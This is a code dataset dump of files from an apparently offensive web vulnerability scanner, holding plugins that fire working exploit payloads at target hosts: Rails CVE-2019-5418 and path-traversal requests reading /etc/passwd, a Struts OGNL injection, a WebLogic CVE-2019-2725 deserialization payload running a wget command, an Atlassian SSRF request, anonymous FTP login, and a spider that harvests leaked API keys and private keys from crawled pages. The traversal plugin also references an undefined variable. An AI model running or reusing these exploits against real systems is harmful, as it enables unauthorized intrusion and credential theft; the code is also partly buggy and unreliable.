index int64 | repo_name string | branch_name string | path string | content string | import_graph string |
|---|---|---|---|---|---|
53,697 | alex14324/Eagel | refs/heads/main | /plugins/spider.py | from utils.status import *
from .helper import Plugin,utils
from urllib.parse import urlparse
from utils.decorators import OnErrorReturnValue
from bs4 import BeautifulSoup
import re
import urllib.parse
import utils.multitask as multitask
class Spider(Plugin):
def __init__(self):
self.name = "Sensetive Informations Spider"
self.enable = True
self.description = ""
self.concurrent = 8
self.__secrets = {}
def get_secrets(self,content):
regexs = {
'google_api' : 'AIza[0-9A-Za-z-_]{35}',
'google_oauth' : 'ya29\.[0-9A-Za-z\-_]+',
'amazon_aws_access_key_id' : '([^A-Z0-9]|^)(AKIA|A3T|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{12,}',
'amazon_mws_auth_toke' : 'amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',
'amazon_aws_url' : 's3\.amazonaws.com[/]+|[a-zA-Z0-9_-]*\.s3\.amazonaws.com',
'firebase_url' : '.firebaseio.com[/]+|[a-zA-Z0-9_-]*\.firebaseio.com',
'facebook_access_token' : 'EAACEdEose0cBA[0-9A-Za-z]+',
'authorization_bearer' : 'bearer\s*[a-zA-Z0-9_\-\.=:_\+\/]+',
'mailgun_api_key' : 'key-[0-9a-zA-Z]{32}',
'twilio_api_key' : 'SK[0-9a-fA-F]{32}',
'twilio_account_sid' : 'AC[a-zA-Z0-9_\-]{32}',
'paypal_braintree_access_token' : 'access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}',
'square_oauth_secret' : 'sq0csp-[ 0-9A-Za-z\-_]{43}',
'square_access_token' : 'sqOatp-[0-9A-Za-z\-_]{22}',
'stripe_standard_api' : 'sk_live_[0-9a-zA-Z]{24}',
'stripe_restricted_api' : 'rk_live_[0-9a-zA-Z]{24}',
'github_access_token' : '[a-zA-Z0-9_-]*:[a-zA-Z0-9_\-]+@github\.com*',
'rsa_private_key' : '-----BEGIN RSA PRIVATE KEY-----',
'ssh_dsa_private_key' : '-----BEGIN DSA PRIVATE KEY-----',
'ssh_dc_private_key' : '-----BEGIN EC PRIVATE KEY-----',
'pgp_private_block' : '-----BEGIN PGP PRIVATE KEY BLOCK-----',
'!debug_page': "Application-Trace|Routing Error|DEBUG\"? ?[=:] ?True|Caused by:|stack trace:|Microsoft .NET Framework|Traceback|[0-9]:in `|#!/us|WebApplicationException|java\\.lang\\.|phpinfo|swaggerUi|on line [0-9]|SQLSTATE",
#'google_captcha' : '6L[0-9A-Za-z-_]{38}',
#'authorization_api' : 'api[key|\s*]+[a-zA-Z0-9_\-]+',
#'twilio_app_sid' : 'AP[a-zA-Z0-9_\-]{32}',
#'authorization_basic' : 'basic\s*[a-zA-Z0-9=:_\+\/-]+',
#'json_web_token' : 'ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*|ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*'
}
regex = r"[:|=|\'|\"|\s*|`|´| |,|?=|\]|\|//|/\*}](%%regex%%)[:|=|\'|\"|\s*|`|´| |,|?=|\]|\}|&|//|\*/]"
for reg in regexs.items():
if "!" in reg[0]:
myreg = re.compile(reg[1])
else:
myreg = re.compile(regex.replace('%%regex%%',reg[1]))
result = myreg.findall(content)
if len(result) > 0:
return {reg[0]: result}
return None
def sources(self,base,html):
urls = []
soup = BeautifulSoup(html,features="lxml")
for link in soup.findAll("a"):
urls.append( urllib.parse.urljoin(base, link.get("href")) )
for link in soup.findAll("script"):
urls.append( urllib.parse.urljoin(base, link.get("src")) )
return set(urls)
def presquites(self, host):
if utils.isalive( utils.uri(host) ):
return True
return False
@OnErrorReturnValue(False)
def sip(self,host,url):
html = utils.requests.get(url).text
secret = self.get_secrets(html)
if not secret: return
self.__secrets[host].append(secret)
def main(self,host):
base = utils.uri(host)
html = utils.requests.get(base).text
srcs = self.sources(base, html)
index = self.get_secrets(html)
self.__secrets[host] = []
if index:
self.__secrets[host].append(index)
channel = multitask.Channel(self.name)
multitask.workers(self.sip,channel,self.concurrent)
for src in srcs:
channel.append(host,src)
channel.wait()
channel.close()
if len(self.__secrets[host]) > 0:
return Result(SUCCESS,self.__secrets[host],None,None)
return Result(FAILED,None,None,None) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,698 | alex14324/Eagel | refs/heads/main | /plugins/cve-2019-5418.py | from utils.status import *
from .helper import Plugin,utils
class CVE_2019_5418(Plugin):
def __init__(self):
self.name = "Ruby on Rails LFI - CVE_2019_5418"
self.enable = True
self.description = ""
def presquites(self, host):
if utils.isalive( utils.uri(host) ):
return True
return False
def main(self,host):
poc = utils.uri(host)
request = utils.requests.get(poc, headers={
'Accept':'../../../../../../../../../../etc/passwd{{'
})
if 'root:x:0:0:root' in request.text:
return Result(
status = SUCCESS,
msg = poc,
request = utils.dump_request(request),
response = utils.dump_response(request)
)
return Result(FAILED,None,utils.dump_request(request),utils.dump_response(request)) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,699 | alex14324/Eagel | refs/heads/main | /utils/wrappers.py | import requests
import hashlib
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
class Requests(object):
def __init__(self):
self.cache = {}
self.enable = True
def token(self,method,*args,**kwargs):
if "url" in kwargs.keys():
url = kwargs["url"].encode("utf-8")
else:
url = args[0].encode("utf-8")
if "data" in kwargs.keys():
data = str(kwargs["data"]).encode("utf-8")
else:
data = b""
return hashlib.md5(method.encode("utf-8") + url + data).hexdigest()
def pre_request(self,token, args, kwargs):
kwargs.update({'verify': False})
if (not self.enable) or (not token in self.cache.keys()):
return False
return True
def Request(self,*args,**kwargs):
return requests.Request(*args,**kwargs)
def Session(self,*args,**kwargs):
return requests.Session(*args,**kwargs)
def get(self,*args,**kwargs):
token = self.token("get", *args,**kwargs)
saved = self.pre_request(token,args,kwargs)
if not saved:
self.cache.update({
token: requests.get(*args,**kwargs)
})
return self.cache[token]
def post(self,*args,**kwargs):
token = self.token("post", *args,**kwargs)
saved = self.pre_request(token,args,kwargs)
if not saved:
self.cache.update({
token: requests.post(*args,**kwargs)
})
return self.cache[token]
def head(self,*args,**kwargs):
token = self.token("head", *args,**kwargs)
saved = self.pre_request(token,args,kwargs)
if not saved:
self.cache.update({
token: requests.head(*args,**kwargs)
})
return self.cache[token]
def put(self,*args,**kwargs):
token = self.token("put", *args,**kwargs)
saved = self.pre_request(token,args,kwargs)
if not saved:
self.cache.update({
token: requests.put(*args,**kwargs)
})
return self.cache[token]
def options(self,*args,**kwargs):
token = self.token("options", *args,**kwargs)
saved = self.pre_request(token,args,kwargs)
if not saved:
self.cache.update({
token: requests.options(*args,**kwargs)
})
return self.cache[token]
wRequests = Requests() | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,700 | alex14324/Eagel | refs/heads/main | /plugins/ftp.py | from utils.status import *
from .helper import Plugin,utils
from utils.decorators import OnErrorReturnValue
import ftplib
import socket
class FTP(Plugin):
def __init__(self):
self.name = "Anonymous FTP "
self.enable = True
self.description = ""
def presquites(self, host):
return True
@OnErrorReturnValue(Result(FAILED,None,None,None))
def main(self,ftphost):
ftp = ftplib.FTP(host=socket.gethostbyname(ftphost),timeout=10)
ftp.login('anonymous', 'anonymous')
return Result(
status = SUCCESS,
msg = 'FTP anonymous login is enabled',
request = None,
response = None
) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,701 | alex14324/Eagel | refs/heads/main | /main.py | import os
import sys
from base64 import b64encode
from utils.db import JsonDB
from utils.status import *
import utils.multitask as multitask
import utils.console as console
targets = [x.strip() for x in open(console.args.file,"r").readlines() if x.strip()]
dir_target = os.path.dirname(os.path.realpath(console.args.file))
os.chdir(sys.path[0])
import utils.data as data
import plugins
import scripts
import signal
console.banner( len(plugins.loader.loaded) )
os.chdir(dir_target)
channels = {}
db = JsonDB(console.args.db)
def onexit(sig,frame):
for plugin in plugins.loader.loaded:
try:
channels[plugin].close()
except:
pass
os._exit(0)
def dbsave(result):
res = result.ret
host = result.args[0]
name = result.channel.name
if result.ret == None: return
console.pprint(result)
if name not in db.data: db.data[name] = {}
db.data[name].update({
host:{
'status' : res.status,
'msg' : res.msg,
'response': data.compress(res.response),
'request' : data.compress(res.request)
}
})
db.save()
def scan(host):
for plugin in plugins.loader.loaded:
if not plugin.enable or not plugin.presquites(host):
continue
channels[plugin].append(host)
signal.signal(signal.SIGINT, onexit)
console.output(LOG, "checking live targets")
if console.args.ping:
scripts.ping(targets,silent=False)
else:
scripts.ping(targets,silent=True)
console.output(LOG, "preformed in-memory save for online targets")
for plugin in plugins.loader.loaded:
channel = multitask.Channel(plugin.name)
channels.update({
plugin: channel
})
multitask.workers(
target = plugin.main,
channel = channel,
count = console.args.workers,
callback = dbsave
)
queue = multitask.Channel('scan-queue')
multitask.workers(target=scan,channel=queue,count=console.args.workers)
for target in targets:
queue.append(target)
queue.wait()
queue.close()
for plugin in plugins.loader.loaded:
channels[plugin].wait()
for plugin in plugins.loader.loaded:
channels[plugin].close()
| {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,702 | alex14324/Eagel | refs/heads/main | /plugins/traversal.py | from utils.status import *
from .helper import Plugin,utils
class PathTraveral(Plugin):
def __init__(self):
self.name = "Path Traveral"
self.enable = True
self.description = ""
def presquites(self, host):
if utils.isalive( utils.uri(host) ):
return True
return False
def main(self,host):
payloads = [
"%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
"..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd",
"../../../../../../../../../../../etc/passwd",
"static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
"static/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd",
"static/../../../../../../../../../../../etc/passwd",
]
for payload in payloads:
request = utils.requests.Request(
method = "GET",
url = utils.uri(host),
)
sess = utils.requests.Session()
prepared = request.prepare()
sess.verify = False
prepared.url = utils.uri(host) + payload
request = sess.send(prepared)
if 'root:x:0:0:root' in request.text:
return Result(
status = SUCCESS,
msg = poc,
request = utils.dump_request(request),
response = utils.dump_response(request)
)
return Result(FAILED,None,None,None) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,703 | alex14324/Eagel | refs/heads/main | /plugins/cve-2018-11776.py | from utils.status import *
from .helper import Plugin,utils
class CVE_2018_11776(Plugin):
def __init__(self):
self.name = "Struts RCE - CVE_2018_11776"
self.enable = True
self.description = ""
def presquites(self, host):
if utils.isalive( utils.uri(host) ):
return True
return False
def main(self,host):
ognl_payload = ".multipart/form-data~${"
ognl_payload += '#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("PWNED",1330+7)'
ognl_payload += "}"
request = utils.requests.get( utils.uri(host) ,headers={
'Content-Type': ognl_payload
})
if "PWNED" in request.headers:
return Result(
status = SUCCESS,
msg = "PWNED",
request = utils.dump_request(request),
response = utils.dump_response(request)
)
return Result(FAILED,None,utils.dump_request(request),utils.dump_response(request)) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,704 | alex14324/Eagel | refs/heads/main | /plugins/cve-2019-2725.py | from utils.status import *
from .helper import Plugin,utils
class CVE_2019_2725(Plugin):
def __init__(self):
self.name = "WebLogic RCE - CVE_2019_2725"
self.enable = True
self.description = ""
def presquites(self, host):
if utils.isalive( utils.uri(host) ):
return True
return False
def main(self,host):
payload = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void><string>wget https://google.com</string></void></class></java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>'
request = utils.requests.post( utils.uri(host) + '_async/AsyncResponseService', data=payload, headers={
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Accept-Language": "en",
"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"Connection": "close",
"Content-Type": "text/xml"
})
if request.status_code == 202:
return Result(
status = SUCCESS,
msg = "PWNED",
request = utils.dump_request(request),
response = utils.dump_response(request)
)
return Result(FAILED,None,utils.dump_request(request),utils.dump_response(request))
| {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,705 | alex14324/Eagel | refs/heads/main | /plugins/cve-2019-8451.py | from utils.status import *
from .helper import Plugin,utils
class CVE_2019_8451(Plugin):
def __init__(self):
self.name = "Atlassian SSRF - CVE_2019_8451"
self.enable = True
self.description = ""
def presquites(self, host):
if utils.isalive( utils.uri(host) ):
return True
return False
def main(self,host):
poc = utils.uri(host) + "plugins/servlet/gadgets/makeRequest?url=http://www.atlassian.com:8080@www.google.com&httpMethod=GET&contentType=JSON&gadget=http%3A%2F%2Fbitthebyte.local%3A8090%2Frest%2Fgadgets%2F1.0%2Fg%2Fcom.atlassian.streams.streams-jira-plugin%3Aactivitystream-gadget%2Fgadgets%2Factivitystream-gadget.xml&container=atlassian"
request = utils.requests.get(poc, headers={'X-Atlassian-Token':'no-check'})
if '"rc":200' in request.text:
return Result(
status = SUCCESS,
msg = poc,
request = utils.dump_request(request),
response = utils.dump_response(request)
)
return Result(FAILED,None,utils.dump_request(request),utils.dump_response(request)) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": 